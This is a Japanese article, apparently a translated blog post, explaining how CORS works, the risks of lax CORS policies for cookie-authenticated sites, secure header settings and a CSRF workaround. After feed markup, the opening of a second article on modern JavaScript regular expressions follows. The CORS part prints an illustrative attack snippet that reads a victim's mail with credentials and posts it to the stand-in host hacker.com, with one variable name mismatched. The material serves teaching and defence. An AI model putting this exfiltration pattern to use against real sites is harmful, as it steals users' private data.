まずは認証情報を使用するか否かでAjaxリクエストにどのような影響があるのか見てみましょう。明確化のため、https://hacker.comからhttps://gmail.comにAjaxリクエストを送信する例について検討します。

「認証情報を含める」は、Ajaxで有効化できるオプションです。ブラウザに対し、Gmail上のユーザーのCookieをAjaxリクエストに含めるよう指示します。そうすることで、Gmailはボブのブラウザから送られたリクエストであると分かります。レスポンスには、ボブのGmailアカウントに関連する情報が含まれます。例えば、https://gmail.com/emailsに対してAjaxリクエストを送ると、レスポンスにはボブのメールが含まれます。

これは危険なシナリオです。どのウェブサイトでもAjaxリクエストを送ることで訪問者のメールを取得することが出来たなら、インターネットは野生のジャングルのようになってしまうでしょう。インターネットプロトコルを設計したエンジニアたちが、そうならないようにしたのです。

一方で、「認証情報を含める」を有効化しなかった場合、AjaxリクエストにはCookieは含まれません。Gmailのウェブサイトは、ボブが別のブラウザタブでGmailアカウントにログインしていたとしても、ボブのブラウザを匿名のユーザーとして扱います。したがって、Ajaxリクエストに対するレスポンスには、一切個人情報は含まれません。

CORSルールの定義

ブラウザは、ウェブサイトAからウェブサイトBにAjaxリクエストを送る際、ウェブサイトBのCORSルールを参照し、どのように振る舞うかを判断します。ブラウザが従うCORSルールを定義するのはウェブサーバーBです。これらのルールは、特定のHTTPレスポンスヘッダー内で定義されます。最も重要なヘッダーはAccess-Control-Allow-OriginAccess-Control-Allow-Credentialsです。それぞれの役割と取り得る値については後ほど説明します。

クロスオリジンリクエストの処理

あるウェブサイトが別のウェブサイトにAjaxリクエストを行った場合(クロスオリジンリクエスト)、ブラウザはCORSポリシーを確認し、Ajaxリクエストの扱い方を判断します。 ブラウザは次の2つについて判断する必要があります。

  1. JavaScriptコードで定義されているようにHTTPリクエストを行うべきか?
  2. ブラウザがリクエストを行った場合、JavaScriptコードがレスポンスにアクセスできるようにするべきか? これら2つのステップを掘り下げて見てみましょう。

リクエストするか否か

一部のAjaxの設定の仕方によっては、、ブラウザはCORSポリシーをチェックせずにリクエストを行います。そうでない場合は、ブラウザはCORSポリシーをチェックした上でリクエストを行うか否かを判断する必要があります。後者の場合、ブラウザはまずHTTP OPTIONSリクエストをURLに対して行い、CORSポリシーを取得します。これをプリフライトリクエストと言います。

ブラウザがどのようにしてCORSポリシーチェックを行うかは後ほど説明します。ここでは、ウィキペディアにある以下のデシジョンツリー(決定木)を見てみましょう。ブラウザがリクエストを行う前にCORSポリシーをチェックする際の条件が説明されています。 CORSチェックなしでブラウザがリクエストを行う条件を以下に挙げます。

  • AjaxリクエストがGETリクエストであり、カスタムHTTPヘッダーがない。
  • AjaxリクエストがPOSTリクエストであり、標準のContent-Typeで、カスタムHTTPヘッダーがない。

ブラウザはなぜCORSポリシーをチェックせずにこれらのリクエストを行うのでしょうか。それは、これらがAjaxを使わずにウェブサイトが実行できるリクエストだからです。

  • カスタムHTTPヘッダーのないGETリクエストは、HTMLのimgタグまたはiframeタグを使用してトリガーできます。src属性の中でターゲットURLを宣言するだけです。ページをレンダリングする際、ブラウザがURLに対して認証情報を含むGETリクエストを行い、リソースを読み込みます。
  • HTMLのformタグを使用し、カスタムHTTPヘッダーなしで、標準のContent-TypeによりPOSTリクエストをトリガーできます。POST属性はすべてHTMLのinputタグを使用して追加でき、JavaScriptを使用してフォームを送信し、リクエストを実行できます。

他のすべてのシナリオでは、ブラウザはプリフライトリクエストを行います。次にCORSポリシーをチェックし、リクエストを送信するか判断します。

  • HTTPのPUT、DELETEまたはその他のリクエスト
  • HTTPのPOSTリクエストで、application/jsonなど標準以外のContent-Typeを使用
  • HTTPのGETまたはPOSTリクエストで、X-Requested-With: XMLHttpRequestなどのカスタムHTTPヘッダーを使用

アクセスを許可するか拒否するか

ブラウザは、Ajaxリクエストを行う場合、JavaScriptコードがレスポンスにアクセスできるようにするか判断する必要があります。ブラウザはレスポンスからCORSポリシーを取得し、AjaxリクエストがCORSポリシーと一致するか確認します。 一致する場合、JavaScriptコードはレスポンスにアクセスできます。一致しない場合、JavaScriptコードはレスポンスにアクセスできず、JavaScriptコンソールにエラーメッセージが表示されます。 次のセクションでは、CORSポリシーのチェックプロセスについて説明します。

CORSポリシーのチェック

要約すると、ブラウザは以下の2つのケースでCORSポリシーをチェックします。

  1. 標準以外のHTTPリクエストを送信する前。
  2. レスポンスへのアクセスを許可するかどうか判断する前。

ブラウザは以下の要素をチェックします。

  • ブラウザはAccess-Control-Allow-Originレスポンスヘッダーの値を取得します。値はAjaxリクエストを行ったウェブサイトのオリジンと一致しなくてはいけません。オリジンの形式は「schema://fqdn:port」です。
    • Access-Control-Allow-Originレスポンスヘッダーがない場合、チェックは失敗します。
    • 実は、Access-Control-Allow-Originヘッダーにワイルドカード文字の「*」が指定されている場合もチェックは失敗します。
  • 「認証情報を含めて」リクエストを行う場合: Access-Control-Allow-Credentialsレスポンスヘッダーがあり、値は「true」が設定されている必要があります。
  • カスタムHTTPヘッダーを1つ以上設定してAjaxリクエストを行う場合:ブラウザはAccess-Control-Allow-Headersレスポンスヘッダーの値を取得します。このヘッダーの値には、リクエストで使用されたカスタムHTTPヘッダーがすべて含まれている必要があります。
  • AjaxリクエストタイプがGET、POST、HEADのいずれでもない場合:ブラウザはAccess-Control-Allow-Methodsレスポンスヘッダーの値を取得します。値には、Ajaxクエリによって定義されたHTTPリクエストタイプが含まれている必要があります。

これらの条件のいずれかが満たされていない場合、CORSポリシーのチェック全体が失敗して以下の結果となります。 ブラウザがリクエストを行う前にCORSチェックを実行する場合、リクエストを送信しません。 ブラウザがリクエストを行った後でCORSチェックを実行する場合、JavaScriptコードはレスポンスにアクセスできません。

以下の図はCORSのデシジョンツリーをまとめたものです。

CORSポリシーの誤設定による危険

ブラウザのメンテナーがユーザーを保護するためにCORSの仕組みを設計しました。ユーザーがうっかり悪意のあるウェブサイトにアクセスしてしまうかもしれないからです。優れたCORSポリシーは、悪意のあるウェブサイトがユーザーのIDを使ってあなたのウェブサイトにHTTPリクエストを送信できないようにします。

CORSポリシーは、HTTPレスポンスヘッダーを用いて定義されます。したがって、デベロッパーには他のオリジンからの悪意のあるリクエストを防ぐことができる、十分厳格なCORSポリシーを定義することが求められます。

CORSは、Cookie(セッションCookieなど)を使用してユーザー認証を行うウェブサイトに特に関係します。これは、「認証情報を含める」Ajax設定の場合、ブラウザが自動的にCookieをリクエストとともに送信するからです。そうすると、リクエストは正当なユーザーから届いたように見えます。

では、他の認証方法を使用する場合はどうでしょうか。例えば、HTTPの「Authorization」ヘッダーで認証トークンを送信するとします。その場合、CORSポリシーはあまり関係ありません。悪意のあるウェブサイトがAjaxリクエストを行っても、ブラウザはリクエストにトークンを追加しません。そのため、悪意のあるウェブサイトは正規のウェブサイトのローカルストレージにアクセスできません。トークンにアクセスできないため、Ajaxのリクエストに含めることができません。あなたのウェブサイトは、何もせずともこの攻撃シナリオからは保護されます。

Cookieによる認証の場合、CORSポリシーが甘いと悪いことが起こる可能性があります。ユーザーが悪意のあるウェブサイトにアクセスした際、以下のような攻撃シナリオが考えられます。

  • 悪意のあるウェブサイトがAjaxリクエストを行い、Gmail上のユーザーのメールを取得します。次にJavaScriptコードがそれらのメールをウェブサイトを作成したハッカーに送ります。
  • 悪意のあるウェブサイトは、Gmailに対して特定のHTTP POSTリクエストを行うことができます。このリクエストはユーザーの設定を変え、ハッカーが被害者であるユーザーの名前でメールを送信できるようにします。 悪意のあるウェブサイトは、Gmailに対して特定のHTTP POSTリクエストを行い、被害者のパスワードを変更することができます。

以下のJavaScriptコードのスニペットは、攻撃者がどのようにして被害者のメールを取得し、自分のサーバーに送信するのかを示します。取得したメールはサーバーに保存し、後で参照することができます。

var xhr = new XMLHttpRequest()
xhr.open( 'GET', 'https://gmail.com/emails')
xhr.withCredentials = true
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
var xhr2 = new XMLHttpRequest()
xhr2.open( 'POST', 'https://hacker.com/save_emails')
var params = 'emails='+xhttp.responseText;
xhr2.send(params);
}
};
xhr.send();

以下はこのシナリオをイラストで表したものです。 ここで紹介した例は単に説明を目的としたものです。Gmailにはそのような攻撃を防ぐ優れたCORSポリシーがあります。実際に効果を見ていただけるよう、例としてウェブサイトを作成してみました。

デモ

この攻撃について説明するため、シンプルで脆弱なウェブサイトを作成しました。このデモサイトは、認証が必要なウェブアプリケーションをシミュレーションします。まず、次のURLにアクセスし、ボタンをクリックしてログインしてください。https://demo.devsecurely.com/demo_cors

ログインしたら、以下のボタンをクリックしてください。先ほどのURLに対し、認証情報を含めたAjaxリクエストが送信されます。

(※訳注:POSTDでは文章の翻訳のみ掲載しています)

[原文:「攻撃開始」ボタン]

Ajaxリクエストの結果が以下に表示されます。

[原文:結果表示エリア]

手順に従うと、あなたのパブリックIPアドレスが上に表示されるはずです。「攻撃開始」ボタンをクリックしたとき、あなたのブラウザは以下のJavaScriptコードを実行しました。

var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
if (this.responseText.includes("Your IP address"))
document.getElementById("demo_website_dontent").textContent=this.responseText
else
document.getElementById("demo_website_dontent").textContent="You need to be authenticated first"
}
};
xhttp.open("GET", "https://demo.devsecurely.com/demo_cors", true);
xhttp.withCredentials = true;
xhttp.send();

あなたのブラウザは、HTTPリクエストを直接実行するか、プリフライトリクエストを実行し、CORSポリシーをチェックするかを判断する必要がありました。これは単純なGETリクエストで、カスタムHTTPヘッダーもないのでブラウザは直接リクエストを行いました。こちらが、あなたのブラウザが送信した生のHTTPリクエストです。

これに対し、脆弱なウェブサイトは以下のレスポンスを送り返しました。

次に、ブラウザはJavaScriptコードがレスポンスにアクセスできるようにするかを判断する必要がありました。したがって、CORSポリシーのチェックを行いました。4つの条件をすべて見てみましょう。

  • Access-Control-Allow-Originヘッダーの値には「 https://www.devsecurely.com 」が設定されています。これは、Ajaxリクエストを行ったのと同じオリジンです。✅
  • リクエストは認証情報ありで行い、レスポンスにはAccess-Control-Allow-Credentialsヘッダーが存在し、値は「true」です。✅
  • リクエストはカスタムHTTPヘッダーを使用していません。そのため、ブラウザはAccess-Control-Allow-Headersヘッダーをチェックしません。✅
  • リクエストはGETリクエストを実行します。そのため、ブラウザはAccess-Control-Allow-Methodsヘッダーをチェックしません。✅

CORSのチェックはすべて成功しました。したがって、ブラウザはJavaScriptがレスポンスにアクセスするのを許可します。これにより、このブログが脆弱なウェブサイト上にあるあなたの個人データにアクセスすることが可能になります。

安全なCORSポリシーを定義する方法

CORSポリシーは、特定のHTTPレスポンスヘッダーによって定義されます。各ヘッダーについて、値が十分に厳格であり、悪意のある活動を防げることを確認する必要があります。また、ポリシーが正当なリクエストをブロックしないようにする必要もあります。各レスポンスヘッダーの値を定義しましょう。

  • Access-Control-Allow-Origin:このヘッダーの値は、ウェブサイトの呼び出しを許可されたオリジンでなくてはいけません。例えば、https://api.example.comにホストされたAPIがあり、そのAPIを呼び出す、https://www.example.comにホストされたクライアントサイドアプリケーションがあるとします。このシナリオでは、Access-Control-Allow-Originヘッダーには常にhttps://www.example.comが値として設定されている必要があります。
    • 複数のウェブサイトがあなたのウェブサイトを呼び出せるようにする必要がある場合、許可されたウェブサイトのホワイトリストを定義する必要があります。すべてのリクエストに対して、Originリクエストヘッダーにホワイトリスト上のオリジンが含まれているかどうか確認します。
      • 含まれている場合、Originリクエストヘッダーの値をAccess-Control-Allow-Originレスポンスヘッダーの値として返します。
      • 含まれていない場合、Access-Control-Allow-Originヘッダーのデフォルト値を返します。
    • 他のオリジンがあなたのウェブサイトを呼び出せるべきでない場合(例えば、ウェブサイト全体がhttps://www.example.comにホストされている場合など)、このヘッダーは定義しません。
  • Access-Control-Allow-Credentials:あなたのウェブサイトがCookie(セッションCookieなど)を使用してユーザーを認証する場合、このヘッダーの値は「true」に設定します。
    • 他のオリジンがあなたのウェブサイトを呼び出せるべきでない場合、このヘッダーは定義しません。
  • Access-Control-Allow-Headers:リクエストにカスタムHTTPヘッダーを含める必要がある場合、このレスポンスヘッダーに追加してください。複数のHTTPヘッダーが必要な場合、カンマ区切りリストとして追加してください。
    • 他のオリジンがあなたのウェブサイトを呼び出せるべきでない場合、このヘッダーは定義しません。
  • Access-Control-Allow-MethodsあなたのウェブサイトがPUTまたはDELETE HTTPメソッドを扱う場合、このヘッダーにカンマ区切りリストとして追加してください
    • 他のオリジンがあなたのウェブサイトを呼び出せるべきでない場合、このヘッダーは定義しません。

プリフライトリクエスト(HTTP OPTIONSリクエスト)を受け取った場合、レスポンスヘッダーのみを返し、それ以外の処理は行わないようにする必要があります。

また、これらの変更は徐々に行ってください。各変更を行った後、ウェブサイトが正常に動作していることを確認してください。CORSの設定を厳しくしすぎると、あなたのAPI/ウェブサイト(ウェブサイトのクライアントサイドアプリケーションなど)を呼び出すクライアント側で問題が発生する可能性があります。

CSRF対策としてのCORS設定

先ほど説明したように、ブラウザはCORSポリシーをチェックすることなくリクエストを実行する場合があります。これは、アプリケーションのコンテキストによっては望ましくない可能性があります。

例えば、データを変更するGET APIコントローラーがあるとします。これは、CSRFと呼ばれる攻撃につながる可能性があります。この記事では、このタイプの脆弱性についての詳細な説明は省きますが、この問題についてより具体的に検討するために例を挙げたいと思います。

APIエンドポイントとしてhttps://api.example.com/users/delete/[ID]があるとします。このエンドポイントに対してGETリクエストを行うと、[ID]をIDとするユーザーがデータベースから削除されます。悪意のあるウェブサイトはこれを悪用する可能性があります。先ほどのURLに対し、認証情報を含めたAjaxリクエストを行うことができます。example.comの管理者がその悪意のあるウェブサイトにアクセスすると、Ajaxリクエストが実行され、ユーザーが削除されます。

こうした攻撃を防ぐための回避策として、CORSチェックを使用できます。そのためには、リクエストを行う前にCORSチェックを強制する必要があります。GETリクエストの場合、それを行う唯一の方法はカスタムHTTPヘッダーを追加することです。以下に手順を示します。

  1. クライアントサイドアプリケーションで、該当するリクエストにカスタムHTTPヘッダーを追加します(あなたのAPIに対して行われるすべてのリクエストにこのヘッダーを追加してもいいかもしれません)。ヘッダーの名前と値は任意で構いません。ここでは例として「X-Requested-With: XMLHttpRequest」をヘッダーとします。
  2. API側では、新しいヘッダー(X-Requested-With)が各リクエストに存在することを必ず確認するような設定にします。存在しない場合はリクエストを中断し、エラーメッセージを返します。

先ほどのように悪意のあるウェブサイトがユーザーを削除したい場合、AjaxリクエストにカスタムHTTPヘッダーとしてX-Requested-Withを追加する必要があります。そうすることで、あなたのAPIサーバーに対してプリフライトリクエストがトリガーされます。あなたのCORSポリシーが最適な方法で定義されていれば、Access-Control-Allow-Originレスポンスヘッダーに悪意のあるウェブサイトの名前は含まれません。したがって、CORSチェックは失敗し、ブラウザはリクエストを実行しません。

このトリックは、GETとPOST両方のエンドポイントをCSRF攻撃から守ることができます。

ちなみに、GETリクエストを使用してアプリケーションに変更を加えるのは避けるべきです。GETはあくまでもデータを取得するためだけに使用するべきであり、データを変更するために使用するべきではありません

設定ミスで墓穴を掘らない

SOPの仕組みは、最初からクロスオリジンリクエストを防ぐようになっています。したがって、脆弱なCORSポリシーを定義することで自らのウェブサイトを危険な状態に晒すことのないようにしましょう。

アプリケーションの機密性の高さによっては、CORSの設定ミスにより壊滅的な被害を受ける可能性があります。数年前、ある取引プラットフォームの侵入テストを行った際、ウェブサイトのCORSポリシーが非常に甘いことに気づきました。リスクを示すため、サイトの訪問者に特定の株を強制的に買わせる悪意のあるウェブサイトを作成しました。攻撃者はこれを使って顧客に特定の株を強制的に買わせることで、株価を吊り上げることができます。この問題をうまく悪用すれば、億万長者になれます。

犯罪は割りに合わないと言う人たちは、きっとCORSを理解していないのでしょう。

タグ付けされた記事:checklist, CORS, web application security

]]>
<![CDATA[進化した正規表現:JavaScriptの正規表現の歴史と未来]]><![CDATA[クイックサマリー:以前は、JavaScriptの正規表現は他の言語の正規表現に比べてパフォーマンスが劣っていたものの、近年改良が重ねられ、他の言語に見劣りしなくなっています。この記事では、Steve…]]>https://postd.cc/history-future-regular-expressions-javascript/https://postd.cc/history-future-regular-expressions-javascript/<![CDATA[開発手法・プロジェクト管理]]><![CDATA[JavaScript]]><![CDATA[正規表現]]>Thu, 12 Dec 2024 00:00:01 GMT<![CDATA[

クイックサマリー:以前は、JavaScriptの正規表現は他の言語の正規表現に比べてパフォーマンスが劣っていたものの、近年改良が重ねられ、他の言語に見劣りしなくなっています。この記事では、Steven Levithan氏がJavaScriptの正規表現の歴史と現状を評価し、より読みやすく、保守性とレジリエンスに優れた正規表現の書き方をアドバイスします。


モダンJavaScriptの正規表現は、皆さんがよく知っている従来の正規表現と比べると随分進化しました。正規表現はテキストを検索して置き換えるツールとして非常に優れている一方で、書くのも理解するのも難しいという根強い評判があります(しかし今から説明するように、この認識は時代遅れかもしれません)。

正規表現に関するこの認識は、JavaScriptに特に当てはまります。PCREやPerl、.NET、Java、Ruby、C++、Pythonといったよりモダンな言語の正規表現に比べてパフォーマンスが劣るJavaScriptの正規表現は、長年人気が低迷していました。しかしそれはもはや過去の話です。

この記事では、JavaScriptの正規表現が経てきた改良の歴史を説明し(ネタバレ:ES2018とES2024が大きな転機となりました)、モダンな正規表現の機能を実例とともに紹介します。さらに、JavaScriptの正規表現を他のモダンな言語の正規表現に匹敵する、あるいは勝るものにした軽量なJavaScriptライブラリについて紹介し、最後にJavaScriptの今後のバージョンで正規表現を改良し続けるために現在検討されている提案をいくつかお見せします(中には現在お使いのブラウザにすでに実装されているものもあります)。

JavaScriptにおける正規表現の歴史 #

1999年に標準化されたECMAScript 3は、Perl由来の正規表現をJavaScriptに導入しました。大幅な改良が加わり、正規表現はかなり便利になりましたが(他のほとんどのPerl由来の正規表現とも互換性を得ました)、それでもいくつか大きな漏れがありました。JavaScriptの次に標準化されたバージョンであるES5が登場するまで10年かかりましたが、その間に他のプログラミング言語と正規表現の実装にいくつか便利な機能が新たに追加され、それらの正規表現はより強力で読みやすくなりました。

しかしそれは当時の話です。

none

JavaScriptの新しいバージョンが出ると、ほぼ毎回正規表現に何らかの改良が行われていたことをご存知でしたか?

では実際に見てみましょう。

以下の機能の中には理解しにくいものもあるかもしれませんが、ご心配なく。主要な機能のいくつかは後で詳しく説明します。

  • ES5(2009)では、正規表現のリテラル文字が評価されるたびに新しいオブジェクトが作成されるようにすることで、直感的でない振る舞いが修正され、正規表現のリテラル文字が文字クラス内でスラッシュをエスケープせずに使用できるようになりました(/[/]/)。
  • ES6/ES2015では2つの正規表現フラグが新たに追加されました。パーサーで正規表現を使いやすくしたysticky)と、厳格なエラーとともにUnicode関連のいくつかの重要な改良を追加したuunicode)です。また、RegExp.prototype.flagsゲッター、RegExpのサブクラス化対応、フラグを変更しながら正規表現をコピーする機能も追加されました。
  • ES2018で、JavaScriptの正規表現はかなり改良されました。sdotAll)フラグ、後読み、名前付きキャプチャ、Unicodeプロパティ(ES6のuフラグを必要とする\p{...}\P{...}により指定)が追加されました。後で説明するように、これらはすべて極めて便利な機能です。
  • ES2020では、文字列メソッドのmatchAllが追加されました。これについても後ほど説明します。
  • ES2022では、マッチしたサブ文字列が開始と終了のインデックスを取得できるようにするdhasIndices)フラグが追加されました。
  • 最後に、ES2024ではES6で実装されたuフラグのアップグレードとしてvunicodeSets)フラグが追加されました。vフラグは、複数文字による一連の「文字列プロパティ」を\p{...}に追加し、\p{...}\q{...}を使用して文字クラス内に複数文字のエレメントを追加するほか、ネストした文字クラス、差集合[A--B]、積集合[A&&B]を追加し、文字クラス内に異なるエスケープ規則を追加します。また、否定集合[^...]内におけるUnicodeプロパティの大文字と小文字を区別しないマッチングも修正されました。

これらの機能は、現時点で安全にコードに組み込むことが可能です。これらの中で最新の機能であるvフラグは、Node.js 20および2023年世代のブラウザでサポートされています。その他の機能は2021年以前のブラウザでサポートされています。

ES2019からES2023までの各エディションでは、\p{...}\P{...}により指定可能なUnicodeプロパティも新たに追加されています。さらに、ES2021では文字列メソッドreplaceAllも追加されました。ただし、正規表現を渡された際の挙動でES3のreplaceと唯一異なる点は、gフラグを使用していない場合に例外をスローすることです。

余談:正規表現の良し悪しは何で決まる? #

これらの変更が実装された今、JavaScriptの正規表現は他の正規表現と比べてどうなのでしょうか。考え方は色々ありますが、主な要素を以下に挙げます。

  • パフォーマンス
    これは重要な要素ではありますが、成熟した正規表現の実装は概ねかなり速いので、最も重要ではないかもしれません。JavaScriptは正規表現のパフォーマンスは強力ですが(少なくとも、Node.js、Chromiumベースのブラウザ、さらにはFirefoxで採用されているV8のIrregexpエンジンや、Safariで使われているJavaScriptCoreでは優れています)、バックトラッキングを制御する構文を一切持たないバックトラッキングエンジンを使用している点が大きな制約であり、ReDoSの脆弱性が広がる要因になっています。

  • 一般的または重要なユースケースを扱う先進機能への対応
    JavaScriptはES2018とES2024で先進機能への対応が大きく進みました。後読み(無限の長さに対応)やUnicodeプロパティ(複数文字による「文字列プロパティ」、差集合、積集合、スクリプト拡張機能に対応)など一部の機能において、JavaScriptは今やクラス最高レベルです。これらの機能は、他の多くの正規表現でサポートされていないか、堅牢性が劣ります。

  • 読みやすく保守性に優れたパターンを書ける
    ネイティブのJavaScriptは、この点で長年主要な言語の中で最低の評価を受けてきました。その理由は、ちょっとした空白やコメントを入力できるようにするx(拡張)フラグが欠けているからです。正規表現のサブルーチンとサブルーチン定義グループ(PCREとPerlの機能)は、文法的に正しい正規表現を書き、合成により複雑なパターンを構築することを可能にする強力な機能ですが、これらもありません。

つまり、良い面も悪い面もあるということです。

JavaScriptの正規表現は極めて強力になりましたが、正規表現をより安全で、読みやすく、保守しやすくできる重要な機能がまだ欠けています(これは、その力を利用するのをためらう理由にもなっています)

(訳注:原文同様 XへのPOSTリンクとなっています)

幸い、これらの穴はすべてJavaScriptライブラリによって埋めることができます。それについては後ほど説明します。

JavaScriptのモダンな正規表現機能を使用する #

皆さんがあまり知らないかもしれない、もっと便利なモダン正規表現機能をいくつかご紹介します。先に言っておきますが、これはやや上級者向けのガイドです。正規表現を使い始めてまだ日が浅い方は、手始めに以下の素晴らしいチュートリアルをご覧いただくといいかもしれません。

名前付きキャプチャ #

正規表現が一致するかどうかを確認するだけでなく、一致する文字列からサブ文字列を抽出し、コード上で何らかの操作を行いたい場合も多いでしょう。名前付きキャプチャグループを使うことで、正規表現とコードがより読みやすくなり、自己文書化するような方法でそれを行うことができます。

以下の例では、2つの日付を持つレコードをマッチングさせ、値を取得します。

const record = 'Admitted: 2024-01-01\nReleased: 2024-01-03';
const re = /^Admitted: (?<admitted>\d{4}-\d{2}-\d{2})\nReleased: (?<released>\d{4}-\d{2}-\d{2})$/;
const match = record.match(re);
console.log(match.groups);
/* → {
  admitted: '2024-01-01',
  released: '2024-01-03'
} */

この正規表現を理解できなくても大丈夫です。これをもっと読みやすくする方法を後で説明します。ここで重要なのは、名前付きキャプチャグループが(?<name>...)構文を使用し、マッチした文字列のgroupsオブジェクト上にその結果が格納されるということです。

また、名前付き後方参照を使用して、名前付きキャプチャグループが\k<name>によりマッチングした文字列を再度マッチングすることもでき、検索や置換の中でそれらの値を以下のように使用することができます。

// Change 'FirstName LastName' to 'LastName, FirstName'
const name = 'Shaquille Oatmeal';
name.replace(/(?<first>\w+) (?<last>\w+)/, '$<last>, $<first>');
// → 'Oatmeal, Shaquille'

置換コールバック関数内で名前付き後方参照を使用したい上級者は、最後の引数としてgroupsオブジェクトを指定します。以下に例を挙げます。

function fahrenheitToCelsius(str) {
  const re = /(?<degrees>-?\d+(\.\d+)?)F\b/g;
  return str.replace(re, (...args) => {
    const groups = args.at(-1);
    return Math.round((groups.degrees - 32) * 5/9) + 'C';
  });
}
fahrenheitToCelsius('98.6F');
// → '37C'
fahrenheitToCelsius('May 9 high is 40F and low is 21F');
// → 'May 9 high is 4C and low is -6C'

後読み #

後読み(ES2018で導入)は、JavaScriptの正規表現で以前からサポートされていた先読みを補完する機能です。先読みと後読みはアサーション(文字列の始まりを示す^や、単語の境界を示す\bと似ています)であり、マッチの過程で文字を一切消費しません。後読みは、サブパターンが現在のマッチ位置の直前に見つかるかどうかで成否が決まります。

例えば、以下の正規表現は後読み(?<=...)を使用して、「fat」の後に続く「cat」という単語(「cat」という単語のみ)をマッチングします。

const re = /(?<=fat )cat/g;
'cat, fat cat, brat cat'.replace(re, 'pigeon');
// → 'cat, fat pigeon, brat cat'

また、否定後読み(?<!...)を使用してアサーションを反転させることもできます。そうすることで、正規表現は前に「fat」が付かないすべての「cat」をマッチングするようになります。

const re = /(?<!fat )cat/g;
'cat, fat cat, brat cat'.replace(re, 'pigeon');
// → 'pigeon, fat cat, brat pigeon'

後読みの実装はJavaScriptのものが最も優れています(匹敵するのは.NETだけです)。他の正規表現は後読みの中に可変長パターンを認めるかどうか、いつ認めるかについて一貫性のない複雑な規則を設けていますが、JavaScriptはあらゆるサブパターンについて後読みを認めています。

matchAllメソッド #

ES2020ではJavaScriptのString.prototype.matchAllが追加され、詳細なマッチ情報が必要な場合に正規表現マッチをループで実行しやすくなりました。以前は他の方法も利用できましたが、matchAllの方が容易な場合が多く、長さゼロのマッチを返す可能性がある正規表現の結果に対してループ実行する際に無限ループに陥らないようにするなど、落とし穴も回避します。

matchAllはイテレータ(配列ではなく)を返すため、for...ofループにおいて使いやすいという利点があります。

const re = /(?<char1>\w)(?<char2>\w)/g;
for (const match of str.matchAll(re)) {
  const {char1, char2} = match.groups;
  // Print each complete match and matched subpatterns
  console.log(`Matched "${match[0]}" with "${char1}" and "${char2}"`);
}

:正規表現でmatchAllを使用する場合、gフラグ(global)が必須となります。また、他のイテレータと同様にArray.fromまたは配列スプレッドを使用してすべての結果を配列として受け取ることも可能です。

const matches = [...str.matchAll(/./g)];

Unicodeプロパティ #

Unicodeプロパティ(ES2018で追加)は、\p{...}構文とその否定形である`P{...}`を使用することで多言語テキストを強力に制御することを可能にします。マッチングできるプロパティは数百に及び、多岐にわたるUnicodeのカテゴリ、スクリプト、スクリプト拡張機能、バイナリプロパティを網羅します。

注:詳細についてはMDNのドキュメントをご覧ください。

Unicodeプロパティではuunicode)またはvunicodeSets)フラグの使用が必須です。

vフラグ #

vunicodeSets)フラグは、uフラグのアップグレードとしてES2024で追加されました。これらのフラグを同時に使用することはできません。デフォルトのUnicode非対応モードでひそかにバグが紛れ込まないよう、ベストプラクティスとしていずれかのフラグを常に使用することが推奨されます。どちらを使用するかの判断は極めて単純です。vフラグの環境(Node.js 20および2023年世代のブラウザ)のみのサポートで問題なければvフラグを使用し、それ以外の場合はuフラグを使用します。

vフラグが実装されたことで、いくつかの新しい正規表現機能が追加されました。中でも特筆すべきなのが差集合と積集合です。これにより、A--B(文字クラス内)を使用してAの文字列はマッチングし、Bの文字列はマッチングしないとか、A&&Bを使用してAとB両方の文字列をマッチングすることが可能になります。以下の例をご覧ください。

// Matches all Greek symbols except the letter 'π'
/[\p{Script_Extensions=Greek}--π]/v

// Matches only Greek letters
/[\p{Script_Extensions=Greek}&&\p{Letter}]/v

vフラグに関する詳細や、vフラグの他の新機能については、Google Chromeチームによるこちらの説明をご覧ください。

絵文字のマッチングについて #

絵文字とは🤩🔥😎👌などのことですが、絵文字がテキスト上で符号化される方法は複雑です。正規表現で絵文字をマッチングしたい場合、1つの絵文字が1つのUnicodeコードポイントで構成されることもあれば、多くのUnicodeコードポイントで構成されることもあることを認識しておくことが重要です。絵文字の正規表現を独自に展開する多くの人(ライブラリもです!)がこの点を見落とし(あるいは適切に実装しておらず)、バグを発生させてしまっています。

「👩🏻‍🏫」(女性教師:明るい肌の色)の絵文字に関する以下の詳細は、絵文字がいかに複雑になり得るかを示しています。

// Code unit length
'👩🏻‍🏫'.length;
// → 7
// Each astral code point (above \uFFFF) is divided into high and low surrogates

// Code point length
[...'👩🏻‍🏫'].length;
// → 4
// These four code points are: \u{1F469} \u{1F3FB} \u{200D} \u{1F3EB}
// \u{1F469} combined with \u{1F3FB} is '👩🏻'
// \u{200D} is a Zero-Width Joiner
// \u{1F3EB} is '🏫'

// Grapheme cluster length (user-perceived characters)
[...new Intl.Segmenter().segment('👩🏻‍🏫')].length;
// → 1

幸い、JavaScriptは\p{RGI_Emoji}により任意の完全な絵文字を個別にマッチングできる簡単な方法を追加しました。これは一度に複数のコードポイントをマッチングできる高度な「文字列プロパティ」のため、ES2024のvフラグが必要になります。

vフラグに対応していない環境で絵文字のマッチングを行いたい場合は、emoji-regexemoji-regex-xsの2つの素晴らしいライブラリをチェックしてみてください。

より読みやすく、保守性とレジリエンスに優れた正規表現を書く #

正規表現機能は長年にわたり改良を重ねてきましたが、ネイティブのJavaScriptの正規表現は、複雑なものになると読むにしろ保守するにしろ、まだ難しい場合があります。

ES2018で追加された名前付きキャプチャは、正規表現の自己文書化を推し進めた素晴らしい機能であり、ES6のString.rawタグにより、RegExpコンストラクタを使用する際にバックスラッシュをすべてエスケープ処理する必要がなくなりました。可読性に関する主な改良はそれくらいです。

しかし、regexという名前の軽量で高性能なJavaScriptライブラリ(筆者作)があり、これを使用することで正規表現が劇的に読みやすくなります。このライブラリは、欠けている主な機能をPCRE(Perl-Compatible Regular Expressions)から追加し、ネイティブのJavaScriptの正規表現を出力することで可読性の向上を実現しています。Babelのプラグインとして使用することもできるため、ビルド時にregexの呼び出しがトランスパイルされます。したがって、デベロッパーエクスペリエンスが改善され、ユーザーにランタイムコストがかかることもありません。

PCREは、PHPが正規表現のサポートに使用している人気のCライブラリで、他の無数のプログラミング言語やツールで使用されています。

regexという名前のタグ付きテンプレートリレラルを提供するregexライブラリが、どのようにしてわかりやすく保守しやすい複雑な正規表現を書く手助けをするのか、簡単に説明します。以下で説明する新しい構文は、すべてPCREで同様に機能します。

ちょっとした空白とコメント #

regexは、デフォルトで空白や行コメント(#で始まる)を自由に正規表現に追加できるようにすることで、可読性を改善しています。

import {regex} from 'regex';
const date = regex`
  # Match a date in YYYY-MM-DD format
